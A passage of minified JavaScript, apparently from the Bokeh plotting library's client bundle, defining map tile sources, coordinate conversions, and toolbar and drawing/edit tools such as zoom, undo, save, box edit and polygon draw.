n=this.string_lookup_replace(this.url,this.extra_url_vars);return n.replace(\\\"{X}\\\",t.toString()).replace(\\\"{Y}\\\",e.toString()).replace(\\\"{Z}\\\",i.toString())},t}(r.Model);(i.TileSource=a).initClass()},function(t,e,i){var n=t(33);function c(t,e){return n.wgs84_mercator.forward([t,e])}function _(t,e){return n.wgs84_mercator.inverse([t,e])}i.geographic_to_meters=c,i.meters_to_geographic=_,i.geographic_extent_to_meters=function(t){var e=t[0],i=t[1],n=t[2],r=t[3],o=c(e,i),s=o[0],a=o[1],l=c(n,r),h=l[0],u=l[1];return[s,a,h,u]},i.meters_extent_to_geographic=function(t){var e=t[0],i=t[1],n=t[2],r=t[3],o=_(e,i),s=o[0],a=o[1],l=_(n,r),h=l[0],u=l[1];return[s,a,h,u]}},function(t,e,i){var n=t(391),r=t(225),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TMSTileSource\\\"},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars);return n.replace(\\\"{X}\\\",t.toString()).replace(\\\"{Y}\\\",e.toString()).replace(\\\"{Z}\\\",i.toString())},t}(r.MercatorTileSource);(i.TMSTileSource=o).initClass()},function(t,e,i){var n=t(391),r=t(225),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"WMTSTileSource\\\"},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars),r=this.tms_to_wmts(t,e,i),o=r[0],s=r[1],a=r[2];return n.replace(\\\"{X}\\\",o.toString()).replace(\\\"{Y}\\\",s.toString()).replace(\\\"{Z}\\\",a.toString())},t}(r.MercatorTileSource);(i.WMTSTileSource=o).initClass()},function(t,e,i){var n=t(391),r=t(241),o=t(19),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._clicked=function(){this.model.do.emit()},e}(r.ButtonToolButtonView);i.ActionToolButtonView=s;var a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.do,function(){return t.doit()})},t}(r.ButtonToolView);i.ActionToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.button_view=s,e.do=new o.Signal0(e,\\\"do\\\"),e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ActionTool\\\"},t}(r.ButtonTool);(i.ActionTool=l).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(15),s=t(44),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-toolbar-button-custom-action\\\")},e}(r.ActionToolButtonView);i.CustomActionButtonView=a;var l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){var t=this.model.callback;s.isFunction(t)?t(this,{}):t.execute(this,{})},e}(r.ActionToolView);i.CustomActionView=l;var h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Custom Action\\\",e.button_view=a,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"CustomAction\\\",this.prototype.default_view=l,this.define({action_tooltip:[o.String,\\\"Perform a Custom Action\\\"],callback:[o.Any],icon:[o.String]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.action_tooltip},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.CustomAction=h).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){window.open(this.model.redirect)},e}(r.ActionToolView);i.HelpToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Help\\\",e.icon=\\\"bk-tool-icon-help\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"HelpTool\\\",this.prototype.default_view=s,this.define({help_tooltip:[o.String,\\\"Click the question mark to learn more about Bokeh plot tools.\\\"],redirect:[o.String,\\\"https://bokeh.pydata.org/en/latest/docs/user_guide/tools.html#built-in-tools\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.help_tooltip},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.HelpTool=a).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.plot_view.state_changed,function(){return t.model.disabled=!t.plot_view.can_redo()})},t.prototype.doit=function(){this.plot_view.redo()},t}(r.ActionToolView);i.RedoToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Redo\\\",e.icon=\\\"bk-tool-icon-redo\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"RedoTool\\\",this.prototype.default_view=o,this.override({disabled:!0})},t}(r.ActionTool);(i.RedoTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){this.plot_view.reset()},e}(r.ActionToolView);i.ResetToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Reset\\\",e.icon=\\\"bk-tool-icon-reset\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ResetTool\\\",this.prototype.default_view=o},t}(r.ActionTool);(i.ResetTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){this.plot_view.save(\\\"bokeh_plot\\\")},e}(r.ActionToolView);i.SaveToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Save\\\",e.icon=\\\"bk-tool-icon-save\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"SaveTool\\\",this.prototype.default_view=o},t}(r.ActionTool);(i.SaveTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.plot_view.state_changed,function(){return t.model.disabled=!t.plot_view.can_undo()})},t.prototype.doit=function(){this.plot_view.undo()},t}(r.ActionToolView);i.UndoToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Undo\\\",e.icon=\\\"bk-tool-icon-undo\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"UndoTool\\\",this.prototype.default_view=o,this.override({disabled:!0})},t}(r.ActionTool);(i.UndoTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(46),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){var t=this.plot_model.frame,e=this.model.dimensions,i=\\\"width\\\"==e||\\\"both\\\"==e,n=\\\"height\\\"==e||\\\"both\\\"==e,r=o.scale_range(t,this.model.factor,i,n);this.plot_view.push_state(\\\"zoom_out\\\",{range:r}),this.plot_view.update_range(r,!1,!0),this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e}(r.ActionToolView);i.ZoomInToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Zoom In\\\",e.icon=\\\"bk-tool-icon-zoom-in\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ZoomInTool\\\",this.prototype.default_view=a,this.define({factor:[s.Percent,.1],dimensions:[s.Dimensions,\\\"both\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.ZoomInTool=l).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(46),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){var t=this.plot_model.frame,e=this.model.dimensions,i=\\\"width\\\"==e||\\\"both\\\"==e,n=\\\"height\\\"==e||\\\"both\\\"==e,r=o.scale_range(t,-this.model.factor,i,n);this.plot_view.push_state(\\\"zoom_out\\\",{range:r}),this.plot_view.update_range(r,!1,!0),this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e}(r.ActionToolView);i.ZoomOutToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Zoom Out\\\",e.icon=\\\"bk-tool-icon-zoom-out\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ZoomOutTool\\\",this.prototype.default_view=a,this.define({factor:[s.Percent,.1],dimensions:[s.Dimensions,\\\"both\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.ZoomOutTool=l).initClass()},function(t,e,i){var n=t(391),r=t(6),o=t(266),s=t(5),a=t(15),l=t(38),h=t(44),u=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.change,function(){return e.render()}),this.el.addEventListener(\\\"click\\\",function(){return e._clicked()}),this.render()},t.prototype.css_classes=function(){return i.prototype.css_classes.call(this).concat(\\\"bk-toolbar-button\\\")},t.prototype.render=function(){s.empty(this.el);var t=this.model.computed_icon;h.isString(t)&&(l.startsWith(t,\\\"data:image\\\")?this.el.style.backgroundImage=\\\"url('\\\"+t+\\\"')\\\":this.el.classList.add(t)),this.el.title=this.model.tooltip},t}(r.DOMView);i.ButtonToolButtonView=u;var c=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(o.ToolView);i.ButtonToolView=c;var _=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ButtonTool\\\",this.internal({disabled:[a.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.tool_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_icon\\\",{get:function(){return this.icon},enumerable:!0,configurable:!0}),t}(o.Tool);(i.ButtonTool=_).initClass()},function(t,e,i){var n=t(391),o=t(5),r=t(15),s=t(243),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._tap=function(t){if(null==this._draw_basepoint&&null==this._basepoint){var e=t.shiftKey;this._select_event(t,e,this.model.renderers)}},e.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];if(t.keyCode===o.Keys.Backspace)this._delete_selected(n);else if(t.keyCode==o.Keys.Esc){var r=n.data_source;r.selection_manager.clear()}}},e.prototype._set_extent=function(t,e,i,n){var r=t[0],o=t[1],s=e[0],a=e[1];void 0===n&&(n=!1);var l=this.model.renderers[0],h=this.plot_model.frame,u=l.glyph,c=l.data_source,_=h.xscales[l.x_range_name],p=h.yscales[l.y_range_name],d=_.r_invert(r,o),f=d[0],v=d[1],m=p.r_invert(s,a),g=m[0],y=m[1],b=[(f+v)/2,(g+y)/2],x=b[0],w=b[1],k=[v-f,y-g],S=k[0],C=k[1],T=[u.x.field,u.y.field],A=T[0],E=T[1],M=[u.width.field,u.height.field],O=M[0],z=M[1];if(i)this._pop_glyphs(c,this.model.num_objects),A&&c.get_array(A).push(x),E&&c.get_array(E).push(w),O&&c.get_array(O).push(S),z&&c.get_array(z).push(C),this._pad_empty_columns(c,[A,E,O,z]);else{var P=c.data[A].length-1;A&&(c.data[A][P]=x),E&&(c.data[E][P]=w),O&&(c.data[O][P]=S),z&&(c.data[z][P]=C)}this._emit_cds_changes(c,!0,!1,n)},e.prototype._update_box=function(t,e,i){if(void 0===e&&(e=!1),void 0===i&&(i=!1),null!=this._draw_basepoint){var n=[t.sx,t.sy],r=this.plot_model.frame,o=this.model.dimensions,s=this.model._get_dim_limits(this._draw_basepoint,n,r,o);if(null!=s){var a=s[0],l=s[1];this._set_extent(a,l,e,i)}}},e.prototype._doubletap=function(t){this.model.active&&(null!=this._draw_basepoint?(this._update_box(t,!1,!0),this._draw_basepoint=null):(this._draw_basepoint=[t.sx,t.sy],this._select_event(t,!0,this.model.renderers),this._update_box(t,!0,!1)))},e.prototype._move=function(t){this._update_box(t,!1,!1)},e.prototype._pan_start=function(t){if(t.shiftKey){if(null!=this._draw_basepoint)return;this._draw_basepoint=[t.sx,t.sy],this._update_box(t,!0,!1)}else{if(null!=this._basepoint)return;this._select_event(t,!0,this.model.renderers),this._basepoint=[t.sx,t.sy]}},e.prototype._pan=function(t,e,i){if(void 0===e&&(e=!1),void 0===i&&(i=!1),t.shiftKey){if(null==this._draw_basepoint)return;this._update_box(t,e,i)}else{if(null==this._basepoint)return;this._drag_points(t,this.model.renderers)}},e.prototype._pan_end=function(t){if(this._pan(t,!1,!0),t.shiftKey)this._draw_basepoint=null;else{this._basepoint=null;for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];this._emit_cds_changes(n.data_source,!1,!0,!0)}}},e}(s.EditToolView);i.BoxEditToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Box Edit Tool\\\",e.icon=\\\"bk-tool-icon-box-edit\\\",e.event_type=[\\\"tap\\\",\\\"pan\\\",\\\"move\\\"],e.default_order=1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BoxEditTool\\\",this.prototype.default_view=a,this.define({dimensions:[r.Dimensions,\\\"both\\\"],num_objects:[r.Int,0]})},t}(s.EditTool);(i.BoxEditTool=l).initClass()},function(t,e,i){var n=t(391),r=t(15),o=t(21),l=t(44),s=t(251),a=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t._mouse_in_frame=!0,t}return n.__extends(t,e),t.prototype._move_enter=function(t){this._mouse_in_frame=!0},t.prototype._move_exit=function(t){this._mouse_in_frame=!1},t.prototype._map_drag=function(t,e,i){var n=this.plot_model.frame;if(!n.bbox.contains(t,e))return null;var r=n.xscales[i.x_range_name].invert(t),o=n.yscales[i.y_range_name].invert(e);return[r,o]},t.prototype._delete_selected=function(t){var e=t.data_source,i=e.selected.indices;i.sort();for(var n=0,r=e.columns();n<r.length;n++)for(var o=r[n],s=e.get_array(o),a=0;a<i.length;a++){var l=i[a];s.splice(l-a,1)}this._emit_cds_changes(e)},t.prototype._pop_glyphs=function(t,e){var i=t.columns();if(e&&i.length)for(var n=0,r=i;n<r.length;n++){var o=r[n],s=t.get_array(o),a=s.length-e+1;a<1||(l.isArray(s)||(s=Array.from(s),t.data[o]=s),s.splice(0,a))}},t.prototype._emit_cds_changes=function(t,e,i,n){void 0===e&&(e=!0),void 0===i&&(i=!0),void 0===n&&(n=!0),i&&t.selection_manager.clear(),e&&t.change.emit(),n&&(t.data=t.data,t.properties.data.change.emit())},t.prototype._drag_points=function(t,e){if(null!=this._basepoint){for(var i=this._basepoint,n=i[0],r=i[1],o=0,s=e;o<s.length;o++){var a=s[o],l=this._map_drag(n,r,a),h=this._map_drag(t.sx,t.sy,a);if(null!=h&&null!=l){for(var u=h[0],c=h[1],_=l[0],p=l[1],d=[u-_,c-p],f=d[0],v=d[1],m=a.glyph,g=a.data_source,y=[m.x.field,m.y.field],b=y[0],x=y[1],w=0,k=g.selected.indices;w<k.length;w++){var S=k[w];b&&(g.data[b][S]+=f),x&&(g.data[x][S]+=v)}g.change.emit()}}this._basepoint=[t.sx,t.sy]}},t.prototype._pad_empty_columns=function(t,e){for(var i=0,n=t.columns();i<n.length;i++){var r=n[i];o.includes(e,r)||t.get_array(r).push(this.model.empty_value)}},t.prototype._select_event=function(t,e,i){var n=this.plot_model.frame,r=t.sx,o=t.sy;if(!n.bbox.contains(r,o))return[];for(var s={type:\\\"point\\\",sx:r,sy:o},a=[],l=0,h=i;l<h.length;l++){var u=h[l],c=u.get_selection_manager(),_=u.data_source,p=[this.plot_view.renderer_views[u.id]],d=c.select(p,s,!0,e);d&&a.push(u),_.properties.selected.change.emit()}return a},t}(s.GestureToolView);i.EditToolView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"EditTool\\\",this.define({custom_icon:[r.String],custom_tooltip:[r.String],empty_value:[r.Any],renderers:[r.Array,[]]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.custom_tooltip||this.tool_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_icon\\\",{get:function(){return this.custom_icon||this.icon},enumerable:!0,configurable:!0}),t}(s.GestureTool);(i.EditTool=h).initClass()},function(t,e,i){var n=t(391),r=t(5),o=t(15),v=t(44),s=t(243),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._draw=function(t,e,i){if(void 0===i&&(i=!1),this.model.active){var n=this.model.renderers[0],r=this._map_drag(t.sx,t.sy,n);if(null!=r){var o=r[0],s=r[1],a=n.data_source,l=n.glyph,h=[l.xs.field,l.ys.field],u=h[0],c=h[1];if(\\\"new\\\"==e)this._pop_glyphs(a,this.model.num_objects),u&&a.get_array(u).push([o]),c&&a.get_array(c).push([s]),this._pad_empty_columns(a,[u,c]);else if(\\\"add\\\"==e){if(u){var _=a.data[u].length-1,p=a.get_array(u)[_];v.isArray(p)||(p=Array.from(p),a.data[u][_]=p),p.push(o)}if(c){var d=a.data[c].length-1,f=a.get_array(c)[d];v.isArray(f)||(f=Array.from(f),a.data[c][d]=f),f.push(s)}}this._emit_cds_changes(a,!0,!0,i)}}},e.prototype._pan_start=function(t){this._draw(t,\\\"new\\\")},e.prototype._pan=function(t){this._draw(t,\\\"add\\\")},e.prototype._pan_end=function(t){this._draw(t,\\\"add\\\",!0)},e.prototype._tap=function(t){this._select_event(t,t.shiftKey,this.model.renderers)},e.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];t.keyCode===r.Keys.Esc?n.data_source.selection_manager.clear():t.keyCode===r.Keys.Backspace&&this._delete_selected(n)}},e}(s.EditToolView);i.FreehandDrawToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Freehand Draw Tool\\\",e.icon=\\\"bk-tool-icon-freehand-draw\\\",e.event_type=[\\\"pan\\\",\\\"tap\\\"],e.default_order=3,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"FreehandDrawTool\\\",this.prototype.default_view=a,this.define({num_objects:[o.Int,0]})},t}(s.EditTool);(i.FreehandDrawTool=l).initClass()},function(t,e,i){var n=t(391),r=t(5),o=t(15),s=t(243),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._tap=function(t){var e=t.shiftKey,i=this._select_event(t,e,this.model.renderers);if(!i.length&&this.model.add){var n=this.model.renderers[0],r=this._map_drag(t.sx,t.sy,n);if(null!=r){var o=n.glyph,s=n.data_source,a=[o.x.field,o.y.field],l=a[0],h=a[1],u=r[0],c=r[1];this._pop_glyphs(s,this.model.num_objects),l&&s.get_array(l).push(u),h&&s.get_array(h).push(c),this._pad_empty_columns(s,[l,h]),s.change.emit(),s.data=s.data,s.properties.data.change.emit()}}},e.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];t.keyCode===r.Keys.Backspace?this._delete_selected(n):t.keyCode==r.Keys.Esc&&n.data_source.selection_manager.clear()}},e.prototype._pan_start=function(t){this.model.drag&&(this._select_event(t,!0,this.model.renderers),this._basepoint=[t.sx,t.sy])},e.prototype._pan=function(t){this.model.drag&&null!=this._basepoint&&this._drag_points(t,this.model.renderers)},e.prototype._pan_end=function(t){if(this.model.drag){this._pan(t);for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];this._emit_cds_changes(n.data_source,!1,!0,!0)}this._basepoint=null}},e}(s.EditToolView);i.PointDrawToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Point Draw Tool\\\",e.icon=\\\"bk-tool-icon-point-draw\\\",e.event_type=[\\\"tap\\\",\\\"pan\\\",\\\"move\\\"],e.default_order=2,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PointDrawTool\\\",this.prototype.default_view=a,this.define({add:[o.Bool,!0],drag:[o.Bool,!0],num_objects:[o.Int,0]})},t}(s.EditTool);(i.PointDrawTool=l).initClass()},function(t,e,i){var n=t(391),r=t(5),o=t(15),y=t(44),s=t(248),a=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t._drawing=!1,t._initialized=!1,t}return n.__extends(t,e),t.prototype._tap=function(t){this._drawing?this._draw(t,\\\"add\\\",!0):this._select_event(t,t.shiftKey,this.model.renderers)},t.prototype._draw=function(t,e,i){var n;void 0===i&&(i=!1);var r=this.model.renderers[0],o=this._map_drag(t.sx,t.sy,r);if(this._initialized||this.activate(),null!=o){var s=o[0],a=o[1];n=this._snap_to_vertex(t,s,a),s=n[0],a=n[1];var l=r.data_source,h=r.glyph,u=[h.xs.field,h.ys.field],c=u[0],_=u[1];if(\\\"new\\\"==e)this._pop_glyphs(l,this.model.num_objects),c&&l.get_array(c).push([s,s]),_&&l.get_array(_).push([a,a]),this._pad_empty_columns(l,[c,_]);else if(\\\"edit\\\"==e){if(c){var p=l.data[c][l.data[c].length-1];p[p.length-1]=s}if(_){var d=l.data[_][l.data[_].length-1];d[d.length-1]=a}}else if(\\\"add\\\"==e){if(c){var f=l.data[c].length-1,p=l.get_array(c)[f],v=p[p.length-1];p[p.length-1]=s,y.isArray(p)||(p=Array.from(p),l.data[c][f]=p),p.push(v)}if(_){var m=l.data[_].length-1,d=l.get_array(_)[m],g=d[d.length-1];d[d.length-1]=a,y.isArray(d)||(d=Array.from(d),l.data[_][m]=d),d.push(g)}}this._emit_cds_changes(l,!0,!1,i)}},t.prototype._show_vertices=function(){for(var t=[],e=[],i=0;i<this.model.renderers.length;i++){var n=this.model.renderers[i],r=n.data_source,o=n.glyph,s=[o.xs.field,o.ys.field],a=s[0],l=s[1];if(a)for(var h=0,u=r.get_array(a);h<u.length;h++){var c=u[h];Array.prototype.push.apply(t,c)}if(l)for(var _=0,p=r.get_array(l);_<p.length;_++){var c=p[_];Array.prototype.push.apply(e,c)}this._drawing&&i==this.model.renderers.length-1&&(t.splice(t.length-1,1),e.splice(e.length-1,1))}this._set_vertices(t,e)},t.prototype._doubletap=function(t){this.model.active&&(this._drawing?(this._drawing=!1,this._draw(t,\\\"edit\\\",!0)):(this._drawing=!0,this._draw(t,\\\"new\\\",!0)))},t.prototype._move=function(t){this._drawing&&this._draw(t,\\\"edit\\\")},t.prototype._remove=function(){var t=this.model.renderers[0],e=t.data_source,i=t.glyph,n=[i.xs.field,i.ys.field],r=n[0],o=n[1];if(r){var s=e.data[r].length-1,a=e.get_array(r)[s];a.splice(a.length-1,1)}if(o){var l=e.data[o].length-1,h=e.get_array(o)[l];h.splice(h.length-1,1)}this._emit_cds_changes(e)},t.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];t.keyCode===r.Keys.Backspace?this._delete_selected(n):t.keyCode==r.Keys.Esc&&(this._drawing&&(this._remove(),this._drawing=!1),n.data_source.selection_manager.clear())}},t.prototype._pan_start=function(t){this.model.drag&&(this._select_event(t,!0,this.model.renderers),this._basepoint=[t.sx,t.sy])},t.prototype._pan=function(t){if(null!=this._basepoint&&this.model.drag){for(var e=this._basepoint,i=e[0],n=e[1],r=0,o=this.model.renderers;r<o.length;r++){var s=o[r],a=this._map_drag(i,n,s),l=this._map_drag(t.sx,t.sy,s);if(null!=l&&null!=a){var h=s.data_source,u=s.glyph,c=[u.xs.field,u.ys.field],_=c[0],p=c[1];if(_||p){for(var d=l[0],f=l[1],v=a[0],m=a[1],g=[d-v,f-m],y=g[0],b=g[1],x=0,w=h.selected.indices;x<w.length;x++){var k=w[x],S=void 0,C=void 0,T=void 0;_&&(C=h.data[_][k]),p?(T=h.data[p][k],S=T.length):S=C.length;for(var A=0;A<S;A++)C&&(C[A]+=y),T&&(T[A]+=b)}h.change.emit()}}}this._basepoint=[t.sx,t.sy]}},t.prototype._pan_end=function(t){if(this.model.drag){this._pan(t);for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];this._emit_cds_changes(n.data_source)}this._basepoint=null}},t.prototype.activate=function(){var t=this;if(this.model.vertex_renderer&&this.model.active){if(this._show_vertices(),!this._initialized)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e],r=n.data_source;r.connect(r.properties.data.change,function(){return t._show_vertices()})}this._initialized=!0}},t.prototype.deactivate=function(){this._drawing&&(this._remove(),this._drawing=!1),this.model.vertex_renderer&&this._hide_vertices()},t}(s.PolyToolView);i.PolyDrawToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Polygon Draw Tool\\\",e.icon=\\\"bk-tool-icon-poly-draw\\\",e.event_type=[\\\"pan\\\",\\\"tap\\\",\\\"move\\\"],e.default_order=3,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PolyDrawTool\\\",this.prototype.default_view=a,this.define({drag:[o.Bool,!0],num_objects:[o.Int,0]})},t}(s.PolyTool);(i.PolyDrawTool=l).initClass()},function(t,e,i){var n=t(391),o=t(5),c=t(44),r=t(248),s=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t._drawing=!1,t}return n.__extends(t,e),t.prototype._doubletap=function(t){if(this.model.active){var e=this._map_drag(t.sx,t.sy,this.model.vertex_renderer);if(null!=e){var i=e[0],n=e[1],r=this._select_event(t,!1,[this.model.vertex_renderer]),o=this.model.vertex_renderer.data_source,s=this.model.vertex_renderer.glyph,a=[s.x.field,s.y.field],l=a[0],h=a[1];if(r.length&&null!=this._selected_renderer){var u=o.selected.indices[0];this._drawing?(this._drawing=!1,o.selection_manager.clear()):(o.selected.indices=[u+1],l&&o.get_array(l).splice(u+1,0,i),h&&o.get_array(h).splice(u+1,0,n),this._drawing=!0),o.change.emit(),this._emit_cds_changes(this._selected_renderer.data_source)}else this._show_vertices(t)}}},t.prototype._show_vertices=function(t){if(this.model.active){var e=this._select_event(t,!1,this.model.renderers);if(!e.length)return this._set_vertices([],[]),this._selected_renderer=null,void(this._drawing=!1);var i,n,r=e[0],o=r.glyph,s=r.data_source,a=s.selected.indices[0],l=[o.xs.field,o.ys.field],h=l[0],u=l[1];h?(i=s.data[h][a],c.isArray(i)||(s.data[h][a]=i=Array.from(i))):i=o.xs.value,u?(n=s.data[u][a],c.isArray(n)||(s.data[u][a]=n=Array.from(n))):n=o.ys.value,this._selected_renderer=r,this._set_vertices(i,n)}},t.prototype._move=function(t){var e;if(this._drawing&&null!=this._selected_renderer){var i=this.model.vertex_renderer,n=i.data_source,r=i.glyph,o=this._map_drag(t.sx,t.sy,i);if(null==o)return;var s=o[0],a=o[1],l=n.selected.indices;e=this._snap_to_vertex(t,s,a),s=e[0],a=e[1],n.selected.indices=l;var h=[r.x.field,r.y.field],u=h[0],c=h[1],_=l[0];u&&(n.data[u][_]=s),c&&(n.data[c][_]=a),n.change.emit(),this._selected_renderer.data_source.change.emit()}},t.prototype._tap=function(t){var e,i=this.model.vertex_renderer,n=this._map_drag(t.sx,t.sy,i);if(null!=n){if(this._drawing&&this._selected_renderer){var r=n[0],o=n[1],s=i.data_source,a=i.glyph,l=[a.x.field,a.y.field],h=l[0],u=l[1],c=s.selected.indices;e=this._snap_to_vertex(t,r,o),r=e[0],o=e[1];var _=c[0];if(s.selected.indices=[_+1],h){var p=s.get_array(h),d=p[_];p[_]=r,p.splice(_+1,0,d)}if(u){var f=s.get_array(u),v=f[_];f[_]=o,f.splice(_+1,0,v)}return s.change.emit(),void this._emit_cds_changes(this._selected_renderer.data_source,!0,!1,!0)}var m=t.shiftKey;this._select_event(t,m,[i]),this._select_event(t,m,this.model.renderers)}},t.prototype._remove_vertex=function(){if(this._drawing&&this._selected_renderer){var t=this.model.vertex_renderer,e=t.data_source,i=t.glyph,n=e.selected.indices[0],r=[i.x.field,i.y.field],o=r[0],s=r[1];o&&e.get_array(o).splice(n,1),s&&e.get_array(s).splice(n,1),e.change.emit(),this._emit_cds_changes(this._selected_renderer.data_source)}},t.prototype._pan_start=function(t){this._select_event(t,!0,[this.model.vertex_renderer]),this._basepoint=[t.sx,t.sy]},t.prototype._pan=function(t){null!=this._basepoint&&(this._drag_points(t,[this.model.vertex_renderer]),this._selected_renderer&&this._selected_renderer.data_source.change.emit())},t.prototype._pan_end=function(t){null!=this._basepoint&&(this._drag_points(t,[this.model.vertex_renderer]),this._emit_cds_changes(this.model.vertex_renderer.data_source,!1,!0,!0),this._selected_renderer&&this._emit_cds_changes(this._selected_renderer.data_source),this._basepoint=null)},t.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame){var e;e=this._selected_renderer?[this.model.vertex_renderer]:this.model.renderers;for(var i=0,n=e;i<n.length;i++){var 